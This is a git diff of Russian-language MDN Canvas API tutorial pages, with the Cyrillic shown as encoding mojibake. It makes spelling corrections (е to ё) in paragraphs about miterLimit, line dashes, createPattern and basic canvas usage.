<p>Π’ΠΎΡ‚ нСбольшая дСмонстрация, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ динамичСски ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΒ <code>miterLimit</code>Β ΠΈ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ это влияСт Π½Π° Ρ„ΠΈΠ³ΡƒΡ€Ρ‹ Π½Π° холстС. Π‘ΠΈΠ½ΠΈΠ΅ Π»ΠΈΠ½ΠΈΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‚, Π³Π΄Π΅ Π½Π°Ρ‡Π°Π»ΡŒΠ½Π°Ρ ΠΈ конСчная Ρ‚ΠΎΡ‡ΠΊΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· Π»ΠΈΠ½ΠΈΠΉ Π² шаблонС Π·ΠΈΠ³Π·Π°Π³Π°.</p>
-<p>Если Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π² этой дСмонстрации Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>miterLimit</code>Β Π½ΠΈΠΆΠ΅ 4.2, Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΈΠ΄ΠΈΠΌΡ‹Ρ… ΡƒΠ³Π»ΠΎΠ² Π½Π΅ присоСдинится ΠΊ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ ΠΌΠΈΡ‚Ρ€Ρ‹, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с нСбольшим скосом рядом с синими линиями; с ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΎΠΉΒ <code>miterLimit</code>Β Π²Ρ‹ΡˆΠ΅ 10, Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΡƒΠ³Π»ΠΎΠ² Π² этой дСмонстрации Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с ΠΌΠΈΡ‚Ρ€ΠΎΠΉ, ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΉ ΠΎΡ‚ синих Π»ΠΈΠ½ΠΈΠΉ, высота ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΡƒΠ³Π»Π°ΠΌΠΈ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ с растущими ΡƒΠ³Π»Π°ΠΌΠΈ; с ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΌΠΈ значСниями ΡƒΠ³Π»Ρ‹ с Π»Π΅Π²ΠΎΠΉ стороны Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с скосом рядом с синими линиями, Π° ΡƒΠ³Π»Ρ‹ с ΠΏΡ€Π°Π²ΠΎΠΉ стороны с ΡƒΠ΄Π»ΠΈΠ½ΠΈΡ‚Π΅Π»Π΅ΠΌ ΠΌΠΈΡ‚Ρ€Ρ‹Β (Ρ‚Π°ΠΊΠΆΠ΅ с ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‰Π΅ΠΉΡΡ высотой).</p>
+<p>Если Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π² этой дСмонстрации Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β <code>miterLimit</code>Β Π½ΠΈΠΆΠ΅ 4.2, Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π²ΠΈΠ΄ΠΈΠΌΡ‹Ρ… ΡƒΠ³Π»ΠΎΠ² Π½Π΅ присоСдинится ΠΊ Ρ€Π°ΡΡˆΠΈΡ€Π΅Π½ΠΈΡŽ ΠΌΠΈΡ‚Ρ€Ρ‹, Π½ΠΎ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с нСбольшим скосом рядом с синими линиями; с ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΎΠΉΒ <code>miterLimit</code>Β Π²Ρ‹ΡˆΠ΅ 10, Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ ΡƒΠ³Π»ΠΎΠ² Π² этой дСмонстрации Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ с ΠΌΠΈΡ‚Ρ€ΠΎΠΉ, ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΉ ΠΎΡ‚ синих Π»ΠΈΠ½ΠΈΠΉ, высота ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ ΠΌΠ΅ΠΆΠ΄Ρƒ ΡƒΠ³Π»Π°ΠΌΠΈ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡŽΡ‚ΡΡ с растущими ΡƒΠ³Π»Π°ΠΌΠΈ; с ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹ΠΌΠΈ значСниями ΡƒΠ³Π»Ρ‹ с Π»Π΅Π²ΠΎΠΉ стороны Π±ΡƒΠ΄ΡƒΡ‚ ΡΠΎΠ΅Π΄ΠΈΠ½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с скосом рядом с синими линиями, Π° ΡƒΠ³Π»Ρ‹ с ΠΏΡ€Π°Π²ΠΎΠΉ стороны с ΡƒΠ΄Π»ΠΈΠ½ΠΈΡ‚Π΅Π»Π΅ΠΌ ΠΌΠΈΡ‚Ρ€Ρ‹Β (Ρ‚Π°ΠΊΠΆΠ΅ с ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°ΡŽΡ‰Π΅ΠΉΡΡ высотой).</p>
<pre class="brush: js;highlight[18] notranslate">function draw() {
var ctx = document.getElementById('canvas').getContext('2d');
@@ -425,7 +425,7 @@ draw();</pre>
<p>ΠœΠ΅Ρ‚ΠΎΠ΄ setLineDash ΠΈ свойство lineDashOffset Π·Π°Π΄Π°ΡŽΡ‚ шаблон ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ² для Π»ΠΈΠ½ΠΈΠΉ. ΠœΠ΅Ρ‚ΠΎΠ΄ setLineDash ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ список чисСл, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ опрСдСляСт расстояния для ΠΏΠΎΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ рисования Π»ΠΈΠ½ΠΈΠΈ ΠΈ Ρ€Π°Π·Ρ€Ρ‹Π²Π°, Π° свойство lineDashOffset устанавливаСт смСщСниС, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ начинаСтся шаблон.</p>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаСм эффСкт ΠΏΠΎΡ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΌΡƒΡ€Π°Π²ΡŒΠ΅Π². Π­Ρ‚ΠΎ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, часто Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰Π°ΡΡΡ Π² инструмСнтах Π²Ρ‹Π±ΠΎΡ€Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ выдСлСния ΠΎΡ‚ Ρ„ΠΎΠ½Π° изобраТСния, анимируя Π³Ρ€Π°Π½ΠΈΡ†Ρƒ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части этого руководства Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эту ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ основныС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ создаём эффСкт ΠΏΠΎΡ…ΠΎΠ΄Π½Ρ‹Ρ… ΠΌΡƒΡ€Π°Π²ΡŒΡ‘Π². Π­Ρ‚ΠΎ Ρ‚Π΅Ρ…Π½ΠΈΠΊΠ° Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ, часто Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰Π°ΡΡΡ Π² инструмСнтах Π²Ρ‹Π±ΠΎΡ€Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΡ‚ΡŒ Π³Ρ€Π°Π½ΠΈΡ†Ρƒ выдСлСния ΠΎΡ‚ Ρ„ΠΎΠ½Π° изобраТСния, анимируя Π³Ρ€Π°Π½ΠΈΡ†Ρƒ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ части этого руководства Π²Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅, ΠΊΠ°ΠΊ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ эту ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ основныС Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ.</p>
<div class="hidden">
<pre class="brush: html notranslate">&lt;canvas id="canvas" width="110" height="110"&gt;&lt;/canvas&gt;</pre>
@@ -584,7 +584,7 @@ lineargradient.addColorStop(1, 'black');
<dl>
<dt>{{domxref("CanvasRenderingContext2D.createPattern", "createPattern(image, type)")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ canvas ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - шаблон (pattern).Β <code>image</code>Β -Β {{domxref("CanvasImageSource")}} (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ {{domxref ("HTMLImageElement")}}, Π΄Ρ€ΡƒΠ³ΠΎΠΉ холст, элСмСнт {{HTMLElement ("video")}} ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉΒ  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. <code>type</code>Β - строка, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>image</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ canvas ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - шаблон (pattern).Β <code>image</code>Β -Β {{domxref("CanvasImageSource")}} (Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ {{domxref ("HTMLImageElement")}}, Π΄Ρ€ΡƒΠ³ΠΎΠΉ холст, элСмСнт {{HTMLElement ("video")}} ΠΈΠ»ΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΉΒ  ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. <code>type</code>Β - строка, ΡƒΠΊΠ°Π·Ρ‹Π²Π°ΡŽΡ‰Π°Ρ, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>image</code>.</dd>
</dl>
<p>Π’ΠΈΠΏΒ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, ΠΊΠ°ΠΊ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ image для создания шаблона ΠΈΒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ:</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
index 78937ccfac..e4756dc73d 100644
--- a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
+++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
@@ -7,7 +7,7 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
---
<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
-<p class="summary">Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Π΅ΠΌ этот урок с изучСния элСмСнта {{HTMLElement("canvas")}} ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ³ΠΎ. Π’ ΠΊΠΎΠ½Ρ†Π΅ этой страницы Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ canvas 2D context ΠΈ нарисуСтС ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
+<p class="summary">Π”Π°Π²Π°ΠΉΡ‚Π΅ Π½Π°Ρ‡Π½Ρ‘ΠΌ этот урок с изучСния элСмСнта {{HTMLElement("canvas")}} ΠΊΠ°ΠΊ Ρ‚Π°ΠΊΠΎΠ²ΠΎΠ³ΠΎ. Π’ ΠΊΠΎΠ½Ρ†Π΅ этой страницы Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ ΠΊΠ°ΠΊ ΡƒΡΡ‚Π°Π½Π°Π²Π»ΠΈΠ²Π°Ρ‚ΡŒ canvas 2D context ΠΈ нарисуСтС ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² вашСм Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅.</p>
<h2 id="Π­Π»Π΅ΠΌΠ΅Π½Ρ‚_&lt;canvas>">Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;canvas&gt;</code></h2>
@@ -17,10 +17,10 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
<p>Он выглядит ΠΊΠ°ΠΊ элСмСнт <code>&lt;img&gt;</code>, Π½ΠΎ Π΅Π³ΠΎ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ² <code>src</code> ΠΈ <code>alt</code>. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;canvas&gt;</code>Β ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π΄Π²Π° Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β - <strong>ΡˆΠΈΡ€ΠΈΠ½Ρƒ</strong> ΠΈ <strong>высоту</strong>. Оба ΠΎΠ½ΠΈΒ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹ ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ выставлСны с использованиСм свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ высоты ΠΈ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ Π½Π΅ установлСны, canvas Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΡˆΠΈΡ€ΠΈΠ½ΠΎΠΉΒ <strong>300 пиксСлСй</strong>Β ΠΈ Π² высоту <strong>150 пиксСлСй</strong>. Π’Ρ‹ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹Β ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ Π²Β <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, Π½ΠΎ Π²ΠΎ врСмя Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΡΡ Π² соотвСтствии с Π΅Π³ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠ΅ΠΉ.</p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Если Π²ΠΈΠ΄ вашСго изобраТСния каТСтся Π²Π°ΠΌ искаТСнным, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты Π² явном Π²ΠΈΠ΄Π΅ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…Β &lt;canvas&gt; ,Β Π° Π½Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Если Π²ΠΈΠ΄ вашСго изобраТСния каТСтся Π²Π°ΠΌ искаТённым, ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Ρ‹ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΈ высоты Π² явном Π²ΠΈΠ΄Π΅ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…Β &lt;canvas&gt; ,Β Π° Π½Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ CSS.</p>
</div>
-<p>Атрибут idΒ Π½Π΅ спСцифичСн для элСмСнта <code>&lt;canvas&gt;,</code> Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…Β HTML, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован (ΠΏΠΎΡ‡Ρ‚ΠΈ) для любого элСмСнта HTMLΒ (Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ класс). Π­Ρ‚ΠΎ всСгда отличная идСя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>id</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это позволяСт Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ наш элСмСнт Π² сцСнарии.</p>
+<p>Атрибут idΒ Π½Π΅ спСцифичСн для элСмСнта <code>&lt;canvas&gt;,</code> Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Ρ…Β HTML, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ использован (ΠΏΠΎΡ‡Ρ‚ΠΈ) для любого элСмСнта HTMLΒ (Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ класс). Π­Ρ‚ΠΎ всСгда отличная идСя ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>id</code>, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это позволяСт Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΡ‰Π΅ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ наш элСмСнт Π² сцСнарии.</p>
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚Β <code>&lt;canvas&gt;</code> ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ стилизован Ρ‚Π°ΠΊΠΆΠ΅, ΠΊΠ°ΠΊ любоС ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅Β (margin, border, background, ΠΈ Ρ‚. Π΄.). Π­Ρ‚ΠΈ ΠΏΡ€Π°Π²ΠΈΠ»Π°, ΠΊΠ°ΠΊ Π±Ρ‹ Ρ‚ΠΎ Π½ΠΈ Π±Ρ‹Π»ΠΎ, фактичСски Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° отрисовку Π²Β canvas. ΠœΡ‹ ΡƒΠ²ΠΈΠ΄ΠΈΠΌ ΠΊΠ°ΠΊ это сдСлано ΠΏΠΎΠ·ΠΆΠ΅ Π² этом руководствС. Когда стили Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½Ρ‹, canvas Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΌ.</p>
@@ -52,9 +52,9 @@ translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
<h2 id="Π Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³_содСрТимого_контСкста">Π Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³ содСрТимого (контСкста)</h2>
-<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("canvas")}} Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ создаСтся с фиксированным Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ элСмСнта для рисования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько контСкстов для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, создавая ΠΈ манипулируя содСрТимым для ΠΏΠΎΠΊΠ°Π·Π°. Π’ Π΄Π°Π½Π½ΠΎΠΌ руководствС ΠΌΡ‹ сфокусируСмся Π½Π° 2D Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π΅. Π”Ρ€ΡƒΠ³ΠΈΠ΅ контСксты ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ WebGl ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ 3D контСкст основанный Π½Π° <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p>
+<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("canvas")}} Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ создаётся с фиксированным Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ элСмСнта для рисования, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько контСкстов для Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, создавая ΠΈ манипулируя содСрТимым для ΠΏΠΎΠΊΠ°Π·Π°. Π’ Π΄Π°Π½Π½ΠΎΠΌ руководствС ΠΌΡ‹ сфокусируСмся Π½Π° 2D Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π΅. Π”Ρ€ΡƒΠ³ΠΈΠ΅ контСксты ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Ρ€Π°Π·Π½Ρ‹Π΅ Ρ‚ΠΈΠΏΡ‹ Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ WebGl ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ 3D контСкст основанный Π½Π° <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p>
-<p>Π₯олст ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ пустой ΠΈ ΠΏΡ€ΠΎΠ·Ρ€Π°Ρ‡Π½Ρ‹ΠΉ. ΠŸΠ΅Ρ€Π²Ρ‹ΠΌ Π΄Π΅Π»ΠΎΠΌ скрипт ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ доступ ΠΊ контСксту ΠΈ отрисовываСт Π΅Π³ΠΎ. Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ {{HTMLElement("canvas")}} ΠΈΠΌΠ΅Π΅Ρ‚Β <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">ΠΌΠ΅Ρ‚ΠΎΠ΄</a>Β <code>getContext()</code>, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для получСния контСкста 